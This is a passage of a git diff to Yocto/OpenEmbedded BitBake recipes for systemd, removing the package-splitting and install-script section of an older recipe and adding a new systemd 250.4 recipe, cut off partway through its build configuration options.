- # install default policy for presets
- # https://www.freedesktop.org/wiki/Software/systemd/Preset/#howto
- install -Dm 0644 ${WORKDIR}/99-default.preset ${D}${systemd_unitdir}/system-preset/99-default.preset
-
- # We use package postinsts for the hwdb update, as the update service is
- # easily triggered for no reason and will slow down boots.
- find ${D} -name systemd-hwdb-update.service -delete
-}
-
-python populate_packages_prepend (){
- systemdlibdir = d.getVar("rootlibdir")
- do_split_packages(d, systemdlibdir, '^lib(.*)\.so\.*', 'lib%s', 'Systemd %s library', extra_depends='', allow_links=True)
-}
-PACKAGES_DYNAMIC += "^lib(udev|systemd|nss).*"
-
-PACKAGES =+ "\
- ${PN}-gui \
- ${PN}-vconsole-setup \
- ${PN}-initramfs \
- ${PN}-analyze \
- ${PN}-kernel-install \
- ${PN}-rpm-macros \
- ${PN}-binfmt \
- ${PN}-zsh-completion \
- ${PN}-xorg-xinitrc \
- ${PN}-container \
- ${PN}-journal-gatewayd \
- ${PN}-journal-upload \
- ${PN}-journal-remote \
- ${PN}-extra-utils \
-"
-
-SUMMARY_${PN}-container = "Tools for containers and VMs"
-DESCRIPTION_${PN}-container = "Systemd tools to spawn and manage containers and virtual machines."
-
-SUMMARY_${PN}-journal-gatewayd = "HTTP server for journal events"
-DESCRIPTION_${PN}-journal-gatewayd = "systemd-journal-gatewayd serves journal events over the network. Clients must connect using HTTP. The server listens on port 19531 by default."
-
-SUMMARY_${PN}-journal-upload = "Send journal messages over the network"
-DESCRIPTION_${PN}-journal-upload = "systemd-journal-upload uploads journal entries to a specified URL."
-
-SUMMARY_${PN}-journal-remote = "Receive journal messages over the network"
-DESCRIPTION_${PN}-journal-remote = "systemd-journal-remote is a command to receive serialized journal events and store them to journal files."
-
-SYSTEMD_PACKAGES = "${@bb.utils.contains('PACKAGECONFIG', 'binfmt', '${PN}-binfmt', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-gatewayd', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-remote', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'journal-upload', '${PN}-journal-upload', '', d)} \
-"
-SYSTEMD_SERVICE_${PN}-binfmt = "systemd-binfmt.service"
-
-USERADD_PACKAGES = "${PN} ${PN}-extra-utils \
- ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-gateway', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-remote', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'journal-upload', '${PN}-journal-upload', '', d)} \
-"
-GROUPADD_PARAM_${PN} = "-r systemd-journal"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'coredump', '--system -d / -M --shell /bin/nologin systemd-coredump;', '', d)}"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'networkd', '--system -d / -M --shell /bin/nologin systemd-network;', '', d)}"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'polkit', '--system --no-create-home --user-group --home-dir ${sysconfdir}/polkit-1 polkitd;', '', d)}"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'resolved', '--system -d / -M --shell /bin/nologin systemd-resolve;', '', d)}"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'timesyncd', '--system -d / -M --shell /bin/nologin systemd-timesync;', '', d)}"
-USERADD_PARAM_${PN}-extra-utils = "--system -d / -M --shell /bin/nologin systemd-bus-proxy"
-USERADD_PARAM_${PN}-journal-gateway = "--system -d / -M --shell /bin/nologin systemd-journal-gateway"
-USERADD_PARAM_${PN}-journal-remote = "--system -d / -M --shell /bin/nologin systemd-journal-remote"
-USERADD_PARAM_${PN}-journal-upload = "--system -d / -M --shell /bin/nologin systemd-journal-upload"
-
-FILES_${PN}-analyze = "${bindir}/systemd-analyze"
-
-FILES_${PN}-initramfs = "/init"
-RDEPENDS_${PN}-initramfs = "${PN}"
-
-FILES_${PN}-gui = "${bindir}/systemadm"
-
-FILES_${PN}-vconsole-setup = "${rootlibexecdir}/systemd/systemd-vconsole-setup \
- ${systemd_unitdir}/system/systemd-vconsole-setup.service \
- ${systemd_unitdir}/system/sysinit.target.wants/systemd-vconsole-setup.service"
-
-RDEPENDS_${PN}-kernel-install += "bash"
-FILES_${PN}-kernel-install = "${bindir}/kernel-install \
- ${sysconfdir}/kernel/ \
- ${exec_prefix}/lib/kernel \
- "
-FILES_${PN}-rpm-macros = "${exec_prefix}/lib/rpm \
- "
-
-FILES_${PN}-xorg-xinitrc = "${sysconfdir}/X11/xinit/xinitrc.d/*"
-
-FILES_${PN}-zsh-completion = "${datadir}/zsh/site-functions"
-
-FILES_${PN}-binfmt = "${sysconfdir}/binfmt.d/ \
- ${exec_prefix}/lib/binfmt.d \
- ${rootlibexecdir}/systemd/systemd-binfmt \
- ${systemd_unitdir}/system/proc-sys-fs-binfmt_misc.* \
- ${systemd_unitdir}/system/systemd-binfmt.service"
-RRECOMMENDS_${PN}-binfmt = "kernel-module-binfmt-misc"
-
-RRECOMMENDS_${PN}-vconsole-setup = "kbd kbd-consolefonts kbd-keymaps"
-
-
-FILES_${PN}-journal-gatewayd = "${rootlibexecdir}/systemd/systemd-journal-gatewayd \
- ${systemd_system_unitdir}/systemd-journal-gatewayd.service \
- ${systemd_system_unitdir}/systemd-journal-gatewayd.socket \
- ${systemd_system_unitdir}/sockets.target.wants/systemd-journal-gatewayd.socket \
- ${datadir}/systemd/gatewayd/browse.html \
- "
-SYSTEMD_SERVICE_${PN}-journal-gatewayd = "systemd-journal-gatewayd.socket"
-
-FILES_${PN}-journal-upload = "${rootlibexecdir}/systemd/systemd-journal-upload \
- ${systemd_system_unitdir}/systemd-journal-upload.service \
- ${sysconfdir}/systemd/journal-upload.conf \
- "
-SYSTEMD_SERVICE_${PN}-journal-upload = "systemd-journal-upload.service"
-
-FILES_${PN}-journal-remote = "${rootlibexecdir}/systemd/systemd-journal-remote \
- ${sysconfdir}/systemd/journal-remote.conf \
- ${systemd_system_unitdir}/systemd-journal-remote.service \
- ${systemd_system_unitdir}/systemd-journal-remote.socket \
- "
-SYSTEMD_SERVICE_${PN}-remote = "systemd-journal-remote.socket"
-
-
-FILES_${PN}-container = "${sysconfdir}/dbus-1/system.d/org.freedesktop.import1.conf \
- ${sysconfdir}/dbus-1/system.d/org.freedesktop.machine1.conf \
- ${sysconfdir}/systemd/system/multi-user.target.wants/machines.target \
- ${base_bindir}/machinectl \
- ${bindir}/systemd-nspawn \
- ${nonarch_libdir}/systemd/import-pubring.gpg \
- ${systemd_system_unitdir}/busnames.target.wants/org.freedesktop.import1.busname \
- ${systemd_system_unitdir}/busnames.target.wants/org.freedesktop.machine1.busname \
- ${systemd_system_unitdir}/local-fs.target.wants/var-lib-machines.mount \
- ${systemd_system_unitdir}/machines.target.wants/var-lib-machines.mount \
- ${systemd_system_unitdir}/remote-fs.target.wants/var-lib-machines.mount \
- ${systemd_system_unitdir}/machine.slice \
- ${systemd_system_unitdir}/machines.target \
- ${systemd_system_unitdir}/org.freedesktop.import1.busname \
- ${systemd_system_unitdir}/org.freedesktop.machine1.busname \
- ${systemd_system_unitdir}/systemd-importd.service \
- ${systemd_system_unitdir}/systemd-machined.service \
- ${systemd_system_unitdir}/dbus-org.freedesktop.machine1.service \
- ${systemd_system_unitdir}/var-lib-machines.mount \
- ${rootlibexecdir}/systemd/systemd-import \
- ${rootlibexecdir}/systemd/systemd-importd \
- ${rootlibexecdir}/systemd/systemd-machined \
- ${rootlibexecdir}/systemd/systemd-pull \
- ${exec_prefix}/lib/tmpfiles.d/systemd-nspawn.conf \
- ${systemd_system_unitdir}/systemd-nspawn@.service \
- ${libdir}/libnss_mymachines.so.2 \
- ${datadir}/dbus-1/system-services/org.freedesktop.import1.service \
- ${datadir}/dbus-1/system-services/org.freedesktop.machine1.service \
- ${datadir}/dbus-1/system.d/org.freedesktop.import1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.machine1.conf \
- ${datadir}/polkit-1/actions/org.freedesktop.import1.policy \
- ${datadir}/polkit-1/actions/org.freedesktop.machine1.policy \
- "
-
-RRECOMMENDS_${PN}-container += "\
- ${PN}-journal-upload \
- ${PN}-journal-remote \
- ${PN}-journal-gatewayd \
- "
-
-FILES_${PN}-extra-utils = "\
- ${base_bindir}/systemd-escape \
- ${base_bindir}/systemd-inhibit \
- ${bindir}/systemd-detect-virt \
- ${bindir}/systemd-path \
- ${bindir}/systemd-run \
- ${bindir}/systemd-cat \
- ${bindir}/systemd-delta \
- ${bindir}/systemd-cgls \
- ${bindir}/systemd-cgtop \
- ${bindir}/systemd-stdio-bridge \
- ${base_bindir}/systemd-ask-password \
- ${base_bindir}/systemd-tty-ask-password-agent \
- ${systemd_unitdir}/system/systemd-ask-password-console.path \
- ${systemd_unitdir}/system/systemd-ask-password-console.service \
- ${systemd_unitdir}/system/systemd-ask-password-wall.path \
- ${systemd_unitdir}/system/systemd-ask-password-wall.service \
- ${systemd_unitdir}/system/sysinit.target.wants/systemd-ask-password-console.path \
- ${systemd_unitdir}/system/sysinit.target.wants/systemd-ask-password-wall.path \
- ${systemd_unitdir}/system/multi-user.target.wants/systemd-ask-password-wall.path \
- ${rootlibexecdir}/systemd/systemd-resolve-host \
- ${rootlibexecdir}/systemd/systemd-ac-power \
- ${rootlibexecdir}/systemd/systemd-activate \
- ${rootlibexecdir}/systemd/systemd-bus-proxyd \
- ${systemd_unitdir}/system/systemd-bus-proxyd.service \
- ${systemd_unitdir}/system/systemd-bus-proxyd.socket \
- ${rootlibexecdir}/systemd/systemd-socket-proxyd \
- ${rootlibexecdir}/systemd/systemd-reply-password \
- ${rootlibexecdir}/systemd/systemd-sleep \
- ${rootlibexecdir}/systemd/system-sleep \
- ${systemd_unitdir}/system/systemd-hibernate.service \
- ${systemd_unitdir}/system/systemd-hybrid-sleep.service \
- ${systemd_unitdir}/system/systemd-suspend.service \
- ${systemd_unitdir}/system/sleep.target \
- ${rootlibexecdir}/systemd/systemd-initctl \
- ${systemd_unitdir}/system/systemd-initctl.service \
- ${systemd_unitdir}/system/systemd-initctl.socket \
- ${systemd_unitdir}/system/sockets.target.wants/systemd-initctl.socket \
- ${rootlibexecdir}/systemd/system-generators/systemd-gpt-auto-generator \
- ${rootlibexecdir}/systemd/systemd-cgroups-agent \
-"
-
-CONFFILES_${PN} = "${sysconfdir}/systemd/coredump.conf \
- ${sysconfdir}/systemd/journald.conf \
- ${sysconfdir}/systemd/logind.conf \
- ${sysconfdir}/systemd/system.conf \
- ${sysconfdir}/systemd/user.conf \
- ${sysconfdir}/systemd/resolved.conf \
- ${sysconfdir}/systemd/timesyncd.conf \
-"
-
-FILES_${PN} = " ${base_bindir}/* \
- ${base_sbindir}/shutdown \
- ${base_sbindir}/halt \
- ${base_sbindir}/poweroff \
- ${base_sbindir}/runlevel \
- ${base_sbindir}/telinit \
- ${base_sbindir}/resolvconf \
- ${base_sbindir}/reboot \
- ${base_sbindir}/init \
- ${datadir}/dbus-1/services \
- ${datadir}/dbus-1/system-services \
- ${datadir}/polkit-1 \
- ${datadir}/${BPN} \
- ${datadir}/factory \
- ${sysconfdir}/dbus-1/ \
- ${sysconfdir}/modules-load.d/ \
- ${sysconfdir}/pam.d/ \
- ${sysconfdir}/sysctl.d/ \
- ${sysconfdir}/systemd/ \
- ${sysconfdir}/tmpfiles.d/ \
- ${sysconfdir}/xdg/ \
- ${sysconfdir}/init.d/README \
- ${sysconfdir}/resolv-conf.systemd \
- ${rootlibexecdir}/systemd/* \
- ${systemd_unitdir}/* \
- ${base_libdir}/security/*.so \
- /cgroup \
- ${bindir}/systemd* \
- ${bindir}/busctl \
- ${bindir}/coredumpctl \
- ${bindir}/localectl \
- ${bindir}/hostnamectl \
- ${bindir}/resolvectl \
- ${bindir}/timedatectl \
- ${bindir}/bootctl \
- ${bindir}/kernel-install \
- ${exec_prefix}/lib/tmpfiles.d/*.conf \
- ${exec_prefix}/lib/systemd \
- ${exec_prefix}/lib/modules-load.d \
- ${exec_prefix}/lib/sysctl.d \
- ${exec_prefix}/lib/sysusers.d \
- ${exec_prefix}/lib/environment.d \
- ${localstatedir} \
- ${nonarch_base_libdir}/udev/rules.d/70-uaccess.rules \
- ${nonarch_base_libdir}/udev/rules.d/71-seat.rules \
- ${nonarch_base_libdir}/udev/rules.d/73-seat-late.rules \
- ${nonarch_base_libdir}/udev/rules.d/99-systemd.rules \
- ${nonarch_base_libdir}/modprobe.d/systemd.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.timedate1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.locale1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.network1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.resolve1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.systemd1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.hostname1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.login1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.timesync1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.portable1.conf \
- "
-
-FILES_${PN}-dev += "${base_libdir}/security/*.la ${datadir}/dbus-1/interfaces/ ${sysconfdir}/rpm/macros.systemd"
-
-RDEPENDS_${PN} += "kmod dbus util-linux-mount util-linux-umount udev (= ${EXTENDPKGV}) util-linux-agetty util-linux-fsck"
-RDEPENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'serial-getty-generator', '', 'systemd-serialgetty', d)}"
-RDEPENDS_${PN} += "volatile-binds update-rc.d"
-
-RRECOMMENDS_${PN} += "systemd-extra-utils \
- systemd-compat-units udev-hwdb \
- e2fsprogs-e2fsck \
- kernel-module-autofs4 kernel-module-unix kernel-module-ipv6 \
- os-release \
- systemd-conf \
-"
-
-INSANE_SKIP_${PN} += "dev-so libdir"
-INSANE_SKIP_${PN}-dbg += "libdir"
-INSANE_SKIP_${PN}-doc += " libdir"
-
-PACKAGES =+ "udev udev-hwdb"
-
-RPROVIDES_udev = "hotplug"
-
-RDEPENDS_udev-hwdb += "udev"
-
-FILES_udev += "${base_sbindir}/udevd \
- ${rootlibexecdir}/systemd/network/99-default.link \
- ${rootlibexecdir}/systemd/systemd-udevd \
- ${rootlibexecdir}/udev/accelerometer \
- ${rootlibexecdir}/udev/ata_id \
- ${rootlibexecdir}/udev/cdrom_id \
- ${rootlibexecdir}/udev/collect \
- ${rootlibexecdir}/udev/findkeyboards \
- ${rootlibexecdir}/udev/keyboard-force-release.sh \
- ${rootlibexecdir}/udev/keymap \
- ${rootlibexecdir}/udev/mtd_probe \
- ${rootlibexecdir}/udev/scsi_id \
- ${rootlibexecdir}/udev/v4l_id \
- ${rootlibexecdir}/udev/keymaps \
- ${rootlibexecdir}/udev/rules.d/*.rules \
- ${sysconfdir}/udev \
- ${sysconfdir}/init.d/systemd-udevd \
- ${systemd_unitdir}/system/*udev* \
- ${systemd_unitdir}/system/*.wants/*udev* \
- ${base_bindir}/udevadm \
- ${base_sbindir}/udevadm \
- ${libexecdir}/${MLPREFIX}udevadm \
- ${datadir}/bash-completion/completions/udevadm \
- "
-
-FILES_udev-hwdb = "${rootlibexecdir}/udev/hwdb.d"
-
-RCONFLICTS_${PN} = "tiny-init ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'resolvconf', '', d)}"
-
-INITSCRIPT_PACKAGES = "udev"
-INITSCRIPT_NAME_udev = "systemd-udevd"
-INITSCRIPT_PARAMS_udev = "start 03 S ."
-
-python __anonymous() {
- if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
- d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
-}
-
-python do_warn_musl() {
- if d.getVar('TCLIBC') == "musl":
- bb.warn("Using systemd with musl is not recommended since it is not supported upstream and some patches are known to be problematic.")
-}
-addtask warn_musl before do_configure
-
-ALTERNATIVE_${PN} = "halt reboot shutdown poweroff runlevel ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'resolv-conf', '', d)}"
-
-ALTERNATIVE_TARGET[resolv-conf] = "${sysconfdir}/resolv-conf.systemd"
-ALTERNATIVE_LINK_NAME[resolv-conf] = "${sysconfdir}/resolv.conf"
-ALTERNATIVE_PRIORITY[resolv-conf] ?= "50"
-
-ALTERNATIVE_TARGET[halt] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[halt] = "${base_sbindir}/halt"
-ALTERNATIVE_PRIORITY[halt] ?= "300"
-
-ALTERNATIVE_TARGET[reboot] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[reboot] = "${base_sbindir}/reboot"
-ALTERNATIVE_PRIORITY[reboot] ?= "300"
-
-ALTERNATIVE_TARGET[shutdown] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[shutdown] = "${base_sbindir}/shutdown"
-ALTERNATIVE_PRIORITY[shutdown] ?= "300"
-
-ALTERNATIVE_TARGET[poweroff] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[poweroff] = "${base_sbindir}/poweroff"
-ALTERNATIVE_PRIORITY[poweroff] ?= "300"
-
-ALTERNATIVE_TARGET[runlevel] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[runlevel] = "${base_sbindir}/runlevel"
-ALTERNATIVE_PRIORITY[runlevel] ?= "300"
-
-pkg_postinst_${PN}_libc-glibc () {
- sed -e '/^hosts:/s/\s*\<myhostname\>//' \
- -e 's/\(^hosts:.*\)\(\<files\>\)\(.*\)\(\<dns\>\)\(.*\)/\1\2 myhostname \3\4\5/' \
- -i $D${sysconfdir}/nsswitch.conf
-}
-
-pkg_prerm_${PN}_libc-glibc () {
- sed -e '/^hosts:/s/\s*\<myhostname\>//' \
- -e '/^hosts:/s/\s*myhostname//' \
- -i $D${sysconfdir}/nsswitch.conf
-}
-
-PACKAGE_WRITE_DEPS += "qemu-native"
-pkg_postinst_udev-hwdb () {
- if test -n "$D"; then
- $INTERCEPT_DIR/postinst_intercept update_udev_hwdb ${PKG} mlprefix=${MLPREFIX} binprefix=${MLPREFIX}
- else
- udevadm hwdb --update
- fi
-}
-
-pkg_prerm_udev-hwdb () {
- rm -f $D${sysconfdir}/udev/hwdb.bin
-}
diff --git a/meta/recipes-core/systemd/systemd_250.4.bb b/meta/recipes-core/systemd/systemd_250.4.bb
new file mode 100644
index 0000000000..2b346113b5
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd_250.4.bb
@@ -0,0 +1,801 @@
+require systemd.inc
+
+PROVIDES = "udev"
+
+PE = "1"
+
+DEPENDS = "intltool-native gperf-native libcap util-linux python3-jinja2-native"
+
+SECTION = "base/shell"
+
+inherit useradd pkgconfig meson perlnative update-rc.d update-alternatives qemu systemd gettext bash-completion manpages features_check
+
+# As this recipe builds udev, respect systemd being in DISTRO_FEATURES so
+# that we don't build both udev and systemd in world builds.
+REQUIRED_DISTRO_FEATURES = "systemd"
+
+SRC_URI += "file://touchscreen.rules \
+ file://00-create-volatile.conf \
+ ${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', 'file://org.freedesktop.hostname1_no_polkit.conf', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', 'file://00-hostnamed-network-user.conf', '', d)} \
+ file://init \
+ file://99-default.preset \
+ file://systemd-pager.sh \
+ file://0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch \
+ file://0003-implment-systemd-sysv-install-for-OE.patch \
+ file://0001-systemd.pc.in-use-ROOTPREFIX-without-suffixed-slash.patch \
+ file://0001-test-parse-argument-Include-signal.h.patch \
+ file://0029-network-enable-KeepConfiguration-when-running-on-net.patch \
+ "
+
+# patches needed by musl
+SRC_URI:append:libc-musl = " ${SRC_URI_MUSL}"
+SRC_URI_MUSL = "\
+ file://0002-don-t-use-glibc-specific-qsort_r.patch \
+ file://0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch \
+ file://0004-add-fallback-parse_printf_format-implementation.patch \
+ file://0005-src-basic-missing.h-check-for-missing-strndupa.patch \
+ file://0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch \
+ file://0008-add-missing-FTW_-macros-for-musl.patch \
+ file://0009-fix-missing-of-__register_atfork-for-non-glibc-build.patch \
+ file://0010-Use-uintmax_t-for-handling-rlim_t.patch \
+ file://0011-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch \
+ file://0012-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch \
+ file://0013-Define-glibc-compatible-basename-for-non-glibc-syste.patch \
+ file://0014-Do-not-disable-buffering-when-writing-to-oom_score_a.patch \
+ file://0015-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch \
+ file://0016-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch \
+ file://0017-missing_type.h-add-__compar_d_fn_t-definition.patch \
+ file://0018-avoid-redefinition-of-prctl_mm_map-structure.patch \
+ file://0019-Handle-missing-LOCK_EX.patch \
+ file://0020-Fix-incompatible-pointer-type-struct-sockaddr_un.patch \
+ file://0021-test-json.c-define-M_PIl.patch \
+ file://0022-do-not-disable-buffer-in-writing-files.patch \
+ file://0025-Handle-__cpu_mask-usage.patch \
+ file://0026-Handle-missing-gshadow.patch \
+ file://0028-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch \
+ file://0001-pass-correct-parameters-to-getdents64.patch \
+ file://0002-Add-sys-stat.h-for-S_IFDIR.patch \
+ file://0001-Adjust-for-musl-headers.patch \
+ "
+
+PAM_PLUGINS = " \
+ pam-plugin-unix \
+ pam-plugin-loginuid \
+ pam-plugin-keyinit \
+"
+
+PACKAGECONFIG ??= " \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'acl audit efi ldconfig pam selinux smack usrmerge polkit seccomp', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wifi', 'rfkill', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xkbcommon', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', '', 'link-udev-shared', d)} \
+ backlight \
+ binfmt \
+ gshadow \
+ hibernate \
+ hostnamed \
+ idn \
+ ima \
+ kmod \
+ localed \
+ logind \
+ machined \
+ myhostname \
+ networkd \
+ nss \
+ nss-mymachines \
+ nss-resolve \
+ quotacheck \
+ randomseed \
+ resolved \
+ set-time-epoch \
+ sysusers \
+ sysvinit \
+ timedated \
+ timesyncd \
+ userdb \
+ utmp \
+ vconsole \
+ wheel-group \
+ zstd \
+"
+
+PACKAGECONFIG:remove:libc-musl = " \
+ gshadow \
+ idn \
+ localed \
+ myhostname \
+ nss \
+ nss-mymachines \
+ nss-resolve \
+ sysusers \
+ userdb \
+ utmp \
+"
+
+# https://github.com/seccomp/libseccomp/issues/347
+PACKAGECONFIG:remove:mipsarch = "seccomp"
+
+CFLAGS:append:libc-musl = " -D__UAPI_DEF_ETHHDR=0 "
+
+# Some of the dependencies are weak-style recommends - if not available at runtime,
+# systemd won't fail but the library-related feature will be skipped with a warning.
+
+# Use the upstream systemd serial-getty@.service and rely on
+# systemd-getty-generator instead of using the OE-core specific
+# systemd-serialgetty.bb - not enabled by default.
+PACKAGECONFIG[serial-getty-generator] = ""
+
+PACKAGECONFIG[acl] = "-Dacl=true,-Dacl=false,acl"
+PACKAGECONFIG[audit] = "-Daudit=true,-Daudit=false,audit"
+PACKAGECONFIG[backlight] = "-Dbacklight=true,-Dbacklight=false"
+PACKAGECONFIG[binfmt] = "-Dbinfmt=true,-Dbinfmt=false"
+PACKAGECONFIG[bzip2] = "-Dbzip2=true,-Dbzip2=false,bzip2"
+PACKAGECONFIG[cgroupv2] = "-Ddefault-hierarchy=unified,-Ddefault-hierarchy=hybrid"
+PACKAGECONFIG[coredump] = "-Dcoredump=true,-Dcoredump=false"
+PACKAGECONFIG[cryptsetup] = "-Dlibcryptsetup=true,-Dlibcryptsetup=false,cryptsetup,,cryptsetup"
+PACKAGECONFIG[tpm2] = "-Dtpm2=true,-Dtpm2=false,tpm2-tss,tpm2-tss libtss2 libtss2-tcti-device"
+PACKAGECONFIG[dbus] = "-Ddbus=true,-Ddbus=false,dbus"
+PACKAGECONFIG[efi] = "-Defi=true,-Defi=false"
+PACKAGECONFIG[gnu-efi] = "-Dgnu-efi=true -Defi-libdir=${STAGING_LIBDIR} -Defi-includedir=${STAGING_INCDIR}/efi,-Dgnu-efi=false,gnu-efi"
+PACKAGECONFIG[elfutils] = "-Delfutils=true,-Delfutils=false,elfutils"
+PACKAGECONFIG[firstboot] = "-Dfirstboot=true,-Dfirstboot=false"
+PACKAGECONFIG[repart] = "-Drepart=true,-Drepart=false"
+PACKAGECONFIG[homed] = "-Dhomed=true,-Dhomed=false"
+# Sign the journal for anti-tampering
+PACKAGECONFIG[gcrypt] = "-Dgcrypt=true,-Dgcrypt=false,libgcrypt"
+PACKAGECONFIG[gnutls] = "-Dgnutls=true,-Dgnutls=false,gnutls"
+PACKAGECONFIG[gshadow] = "-Dgshadow=true,-Dgshadow=false"
+PACKAGECONFIG[hibernate] = "-Dhibernate=true,-Dhibernate=false"
+PACKAGECONFIG[hostnamed] = "-Dhostnamed=true,-Dhostnamed=false"
+PACKAGECONFIG[idn] = "-Didn=true,-Didn=false"
+PACKAGECONFIG[ima] = "-Dima=true,-Dima=false"
+# importd requires journal-upload/xz/zlib/bzip2/gcrypt
+PACKAGECONFIG[importd] = "-Dimportd=true,-Dimportd=false"
+# Update NAT firewall rules
+PACKAGECONFIG[iptc] = "-Dlibiptc=true,-Dlibiptc=false,iptables"
+PACKAGECONFIG[journal-upload] = "-Dlibcurl=true,-Dlibcurl=false,curl"
+PACKAGECONFIG[kmod] = "-Dkmod=true,-Dkmod=false,kmod"
+PACKAGECONFIG[ldconfig] = "-Dldconfig=true,-Dldconfig=false,,ldconfig"
+PACKAGECONFIG[libidn] = "-Dlibidn=true,-Dlibidn=false,libidn,,libidn"
+PACKAGECONFIG[libidn2] = "-Dlibidn2=true,-Dlibidn2=false,libidn2,,libidn2"
+# Link udev shared with systemd helper library.
+# If enabled the udev package depends on the systemd package (which has the needed shared library).
+PACKAGECONFIG[link-udev-shared] = "-Dlink-udev-shared=true,-Dlink-udev-shared=false"
+PACKAGECONFIG[localed] = "-Dlocaled=true,-Dlocaled=false"
+PACKAGECONFIG[logind] = "-Dlogind=true,-Dlogind=false"
+PACKAGECONFIG[lz4] = "-Dlz4=true,-Dlz4=false,lz4"
+PACKAGECONFIG[machined] = "-Dmachined=true,-Dmachined=false"
+PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
+PACKAGECONFIG[microhttpd] = "-Dmicrohttpd=true,-Dmicrohttpd=false,libmicrohttpd"
+PACKAGECONFIG[myhostname] = "-Dnss-myhostname=true,-Dnss-myhostname=false,,libnss-myhostname"
+PACKAGECONFIG[networkd] = "-Dnetworkd=true,-Dnetworkd=false"
+PACKAGECONFIG[nss] = "-Dnss-systemd=true,-Dnss-systemd=false"
+PACKAGECONFIG[nss-mymachines] = "-Dnss-mymachines=true,-Dnss-mymachines=false"
+PACKAGECONFIG[nss-resolve] = "-Dnss-resolve=true,-Dnss-resolve=false"
+PACKAGECONFIG[oomd] = "-Doomd=true,-Doomd=false"
+PACKAGECONFIG[openssl] = "-Dopenssl=true,-Dopenssl=false,openssl"
+PACKAGECONFIG[pam] = "-Dpam=true,-Dpam=false,libpam,${PAM_PLUGINS}"
+PACKAGECONFIG[pcre2] = "-Dpcre2=true,-Dpcre2=false,libpcre2"
+PACKAGECONFIG[polkit] = "-Dpolkit=true,-Dpolkit=false"
+# If polkit is disabled and networkd+hostnamed are in use, enabling this option and
+# using dbus-broker will allow networkd to be authorized to change the
+# hostname without acquiring additional privileges
+PACKAGECONFIG[polkit_hostnamed_fallback] = ",,,,dbus-broker,polkit"
+PACKAGECONFIG[portabled] = "-Dportabled=true,-Dportabled=false"
+PACKAGECONFIG[qrencode] = "-Dqrencode=true,-Dqrencode=false,qrencode,,qrencode"
+PACKAGECONFIG[quotacheck] = "-Dquotacheck=true,-Dquotacheck=false"
+PACKAGECONFIG[randomseed] = "-Drandomseed=true,-Drandomseed=false"
+PACKAGECONFIG[resolved] = "-Dresolve=true,-Dresolve=false"
+PACKAGECONFIG[rfkill] = "-Drfkill=true,-Drfkill=false"
+PACKAGECONFIG[seccomp] = "-Dseccomp=true,-Dseccomp=false,libseccomp"
+PACKAGECONFIG[selinux] = "-Dselinux=true,-Dselinux=false,libselinux,initscripts-sushell"
+PACKAGECONFIG[smack] = "-Dsmack=true,-Dsmack=false"
+PACKAGECONFIG[sysusers] = "-Dsysusers=true,-Dsysusers=false"
+PACKAGECONFIG[sysvinit] = "-Dsysvinit-path=${sysconfdir}/init.d -Dsysvrcnd-path=${sysconfdir},-Dsysvinit-path= -Dsysvrcnd-path=,,systemd-compat-units update-rc.d"
+# When enabled use reproducble build timestamp if set as time epoch,
+# or build time if not. When disabled, time epoch is unset.
+def build_epoch(d):
+ epoch = d.getVar('SOURCE_DATE_EPOCH') or "-1"
+ return '-Dtime-epoch=%d' % int(epoch)
+PACKAGECONFIG[set-time-epoch] = "${@build_epoch(d)},-Dtime-epoch=0"
+PACKAGECONFIG[timedated] = "-Dtimedated=true,-Dtimedated=false"
+PACKAGECONFIG[timesyncd] = "-Dtimesyncd=true,-Dtimesyncd=false"
